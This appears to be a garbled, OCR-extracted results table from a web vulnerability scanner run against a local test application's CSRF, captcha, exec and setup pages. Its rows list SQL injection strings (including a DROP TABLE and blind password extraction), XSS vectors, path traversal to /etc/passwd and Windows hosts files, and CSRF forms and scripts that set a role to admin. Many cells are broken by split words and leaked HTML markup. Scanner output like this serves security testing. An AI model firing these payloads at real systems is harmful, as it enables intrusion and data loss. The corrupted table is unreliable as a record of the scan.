csrf	http://localhost:8000/s ecurity.php	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' OR '1'='1	SQL Injection (Differential)	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' OR 1=1	SQL Injection (Differential)	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' OR 'a'='a	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	'; DROP TABLE users;	SQL Injection (Differential)	200	0.03s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' OR '1'='1' /*	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' OR '1'='1' ({	SQL Injection (Differential)	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	admin'	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' OR '1'='1' #	SQL Injection (Differential)	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	1' OR sleep(5)	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' UNION SELECT NULL, NULL, NULL	SQL Injection (Differential)	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' AND 1=2 UNION SELECT 1,2,3	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' OR EXISTS(SELECT * FROM users)	SQL Injection (Differential)	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	SQL Injection (Differential)	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/csrf	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	SQL Injection (Differential)	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csrf	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/csrf	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script>			

	T		T		
XSS	http://localhost:8000/v ulnerabilities/csrf	⟨body onload=alert('XSS')⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/csrf	<pre></pre>	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/csrf	⟨input autofocus onfocus=alert('XSS')⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csrf	⟨video⟩⟨source onerror=alert('XSS')⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/csrf	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csrf	⟨p/onclick=alert(/XSS/) ⟩a	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/vulnerabilities/csrf	⟨script⟩\$=1,alert(\$)⟨/s cript⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csrf	⟨script⟩alert(1)	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/csrf	⟨script⟩alert(1)⟨!XSS	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/csrf	"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/csrf	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/csrf</td><td>⟨button form=test onf ormchange=alert(1)⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/vulnerabilities/csrf</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/vulnerabilities/csrf</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/vulnerabilities/csrf</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.03s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>CSRF</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/csrf</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>CSRF</td><td>200</td><td>0.01s</td></tr></tbody></table></script></mtext></math></pre>			

csrf	http://localhost:8000/v ulnerabilities/csrf	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩</pre>	CSRF	200	0.02s
csrf	http://localhost:8000/vulnerabilities/csrf	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	CSRF	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/csrf	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	CSRF	200	0.02s
csrf	http://localhost:8000/vulnerabilities/csrf	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" ;admin}');⟨/script⟩ </pre>	CSRF	200	0.01s
csrf	http://localhost:8000/vulnerabilities/csrf	<pre> ⟨form id='CSRF_POC' action='http://example .com/api/setrole' enctype='text/plain' m ethod='POST')⟨input type='hidden' name='{"role":admin, "other":"' value='"}' /&gt; ⟨/form)⟨script⟩docum ent.getElementByld('C SRF_POC').submit();⟨/s cript⟩</pre>	CSRF	200	0.02s

csrf	http://localhost:8000/v ulnerabilities/csrf	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	CSRF	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' OR 1=1	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	'; DROP TABLE users;	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' OR '1'='1' /*	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' OR '1'='1' ({	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	admin'	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' OR '1'='1' #	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	1' OR sleep(5)	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.01s
sql_injecti	http://localhost:8000/v ulnerabilities/captcha	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/captcha	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/captcha	⟨script⟩alert('XSS')⟨/sc ript⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/captcha	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script>			

XSS	http://localhost:8000/v ulnerabilities/captcha	⟨body onload=alert('XSS')⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/captcha	<pre></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/captcha	⟨input autofocus onfocus=alert('XSS')⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/captcha	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/captcha	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/captcha	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.04s
XSS	http://localhost:8000/v ulnerabilities/captcha	⟨script⟩\$=1,alert(\$)⟨/s cript⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/captcha	⟨script⟩alert(1)	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/captcha	⟨script⟩alert(1)⟨!XSS	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/captcha	"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/captcha	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td>⟨button form=test onf ormchange=alert(1)⟩</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/vulnerabilities/captcha</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/captcha</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script></mtext></math></pre>			

csrf	http://localhost:8000/v ulnerabilities/captcha	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩</pre>	No vulnerability detected	200	0.02s
csrf	http://localhost:8000/v ulnerabilities/captcha	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/captcha	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/captcha	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/captcha	<pre><form action="http://example .com/api/setrole" enctype="text/plain" ethod="POST" id="CSRF_POC" m=""><input name='{"role":admin, "other":"' type="hidden" value='"}'/> </form><script>docum ent.getElementById('C SRF_POC').submit();</s cript></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script></pre>			

csrf	http://localhost:8000/v ulnerabilities/captcha	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' OR '1'='1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' OR 1=1	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' OR 'a'='a	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	'; DROP TABLE users;	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' OR '1'='1' /*	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' OR '1'='1' ({	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	admin'	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' OR '1'='1' #	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	1' OR sleep(5)	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.04s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.01s
sql_injecti on	http://localhost:8000/v ulnerabilities/exec	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/exec	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/exec	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script>			

	I	T	I	1	
XSS	http://localhost:8000/v ulnerabilities/exec	⟨body onload=alert('XSS')⟩	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/exec	<pre></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/vulnerabilities/exec	<pre><input autofocus="" onfocus="alert('XSS')"/></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/exec	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/exec	⟨a href='javascript:aler t(XSS)'⟩Click⟨/a⟩	No vulnerability detected	200	0.02s
XSS	http://localhost:8000/v ulnerabilities/exec	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.01s
XSS	http://localhost:8000/v ulnerabilities/exec	<pre><script>\$=1,alert(\$)</s cript></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td><script>alert(1)</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>⟨script⟩alert(1)⟨!XSS</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td><pre><math><mtext></mtex t><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>XSS</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/exec</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr><tr><td>csrf</td><td>http://localhost:8000/v ulnerabilities/exec</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.02s</td></tr></tbody></table></script></pre>			

csrf	http://localhost:8000/v ulnerabilities/exec	<pre> ⟨form action='http://e xample.com/api/setuse rname' enctype='text/plain' m ethod='POST'⟩⟨input name='username' type='hidden' value='CSRFd' /⟩⟨input type='submit' value='Submit Request' /⟩⟨/form⟩</pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	<pre><form action="http://example .com/api/setusername" enctype="text/plain" ethod="POST" id="autosubmit" m=""><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><scr ipt="">document.getElem entByld('autosubmit').s ubmit();</scr></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/v ulnerabilities/exec	<pre><script>var xhr = new XMLHttpRequest();xhr. open('GET', 'http://exa mple.com/api/currentu ser');xhr.send();</script></pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.setRequestHeade r('Content-Type', 'text/ plain');xhr.send('{"role" :admin}');⟨/script⟩ </pre>	No vulnerability detected	200	0.01s
csrf	http://localhost:8000/vulnerabilities/exec	<pre><form action="http://example .com/api/setrole" enctype="text/plain" ethod="POST" id="CSRF_POC" m=""><input name='{"role":admin, "other":"' type="hidden" value='"}'/> </form><script>docum ent.getElementById('C SRF_POC').submit();</s cript></pre></td><td>No vulnerability detected</td><td>200</td><td>0.01s</td></tr></tbody></table></script></pre>			

csrf	http://localhost:8000/v ulnerabilities/exec	<pre> ⟨script⟩var xhr = new XMLHttpRequest();xhr. open('POST', 'http://ex ample.com/api/setrole' );xhr.withCredentials = true;xhr.setRequestHe ader('Content-Type', 'a pplication/json;charset =UTF-8');xhr.send('{"ro le":admin}');⟨/script⟩</pre>	No vulnerability detected	200	0.02s
sql_injecti on	http://localhost:8000/s etup.php	' OR '1'='1	No vulnerability detected	200	0.11s
sql_injecti on	http://localhost:8000/s etup.php	' OR 1=1	No vulnerability detected	200	0.15s
sql_injecti on	http://localhost:8000/s etup.php	' OR 'a'='a	No vulnerability detected	200	0.18s
sql_injecti on	http://localhost:8000/s etup.php	'; DROP TABLE users;	No vulnerability detected	200	0.17s
sql_injecti on	http://localhost:8000/s etup.php	' OR '1'='1' /*	No vulnerability detected	200	0.16s
sql_injecti on	http://localhost:8000/s etup.php	' OR '1'='1' ({	No vulnerability detected	200	0.15s
sql_injecti on	http://localhost:8000/s etup.php	admin'	No vulnerability detected	200	0.16s
sql_injecti on	http://localhost:8000/s etup.php	' OR '1'='1' #	No vulnerability detected	200	0.22s
sql_injecti on	http://localhost:8000/s etup.php	1' OR sleep(5)	No vulnerability detected	200	0.19s
sql_injecti on	http://localhost:8000/s etup.php	' UNION SELECT NULL, NULL, NULL	No vulnerability detected	200	0.16s
sql_injecti on	http://localhost:8000/s etup.php	' AND 1=2 UNION SELECT 1,2,3	No vulnerability detected	200	0.16s
sql_injecti on	http://localhost:8000/s etup.php	' OR EXISTS(SELECT * FROM users)	No vulnerability detected	200	0.16s
sql_injecti on	http://localhost:8000/s etup.php	' OR (SELECT COUNT(*) FROM infor mation_schema.tables) > 0	No vulnerability detected	200	0.15s
sql_injecti on	http://localhost:8000/s etup.php	' AND (SELECT SUBSTR ING(password,1,1) FROM users LIMIT 1)='a'	No vulnerability detected	200	0.22s
XSS	http://localhost:8000/s etup.php	⟨script⟩alert('XSS')⟨/script⟩	No vulnerability detected	200	0.18s
XSS	http://localhost:8000/s etup.php	'"> <script>alert('XSS')< /script></td><td>No vulnerability detected</td><td>200</td><td>0.16s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s etup.php</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s etup.php</td><td><pre><svg/onload=alert('XSS ')></pre></td><td>No vulnerability detected</td><td>200</td><td>0.19s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s etup.php</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr></tbody></table></script>			

		I			
XSS	http://localhost:8000/s etup.php	<pre></pre>	No vulnerability detected	200	0.16s
XSS	http://localhost:8000/s etup.php	<pre></pre>	No vulnerability detected	200	0.16s
XSS	http://localhost:8000/s etup.php	<pre>⟨input autofocus onfocus=alert('XSS')⟩</pre>	No vulnerability detected	200	0.18s
XSS	http://localhost:8000/s etup.php	<pre><video><source onerror="alert('XSS')"/></video></pre>	No vulnerability detected	200	0.18s
XSS	http://localhost:8000/s etup.php	<a href="javascript:aler&lt;br&gt;t(XSS)">Click</a>	No vulnerability detected	200	0.14s
XSS	http://localhost:8000/s etup.php	<pre><p onclick="alert(/XSS/)">a</p></pre>	No vulnerability detected	200	0.19s
XSS	http://localhost:8000/s etup.php	⟨script⟩\$=1,alert(\$)⟨/s cript⟩	No vulnerability detected	200	0.20s
XSS	http://localhost:8000/s etup.php	⟨script⟩alert(1)	No vulnerability detected	200	0.14s
XSS	http://localhost:8000/s etup.php	⟨script⟩alert(1)⟨!XSS	No vulnerability detected	200	0.24s
XSS	http://localhost:8000/s etup.php	"> <svg onload="confir&lt;br">m(1)&gt;</svg>	No vulnerability detected	200	0.18s
XSS	http://localhost:8000/s etup.php	<pre><math><mtext><script>alert('XSS')</ script></math></pre></td><td>No vulnerability detected</td><td>200</td><td>0.16s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s etup.php</td><td><pre></td><td>No vulnerability detected</td><td>200</td><td>0.22s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s etup.php</td><td><pre><form><button formac tion="javascript:alert(1 )"></pre></td><td>No vulnerability detected</td><td>200</td><td>0.21s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s etup.php</td><td><pre><details ontoggle=alert('XSS') open></pre></td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr><tr><td>XSS</td><td>http://localhost:8000/s etup.php</td><td>'"><svg/onload=confir m(1)></td><td>No vulnerability detected</td><td>200</td><td>0.18s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/s etup.php</td><td>//etc/passwd</td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/s etup.php</td><td>%2f%2fetc%2fpass wd</td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/s etup.php</td><td>₩₩windows₩syste m32₩drivers₩etc₩ho sts</td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>path_trav ersal</td><td>http://localhost:8000/s etup.php</td><td>%5c%5cwindows %5csystem32%5cdriv ers%5cetc%5chosts</td><td>No vulnerability detected</td><td>200</td><td>0.13s</td></tr><tr><td>csrf</td><td>http://localhost:8000/s etup.php</td><td>⟨a href='http://exampl e.com/api/setusernam e?username=CSRFd'⟩C lick Me⟨/a⟩</td><td>No vulnerability detected</td><td>200</td><td>0.14s</td></tr><tr><td>csrf</td><td>http://localhost:8000/s etup.php</td><td><pre><img src='http://exam ple.com/api/setuserna me?username=CSRFd' ></pre></td><td>No vulnerability detected</td><td>200</td><td>0.15s</td></tr></tbody></table></script></mtext></math></pre>			

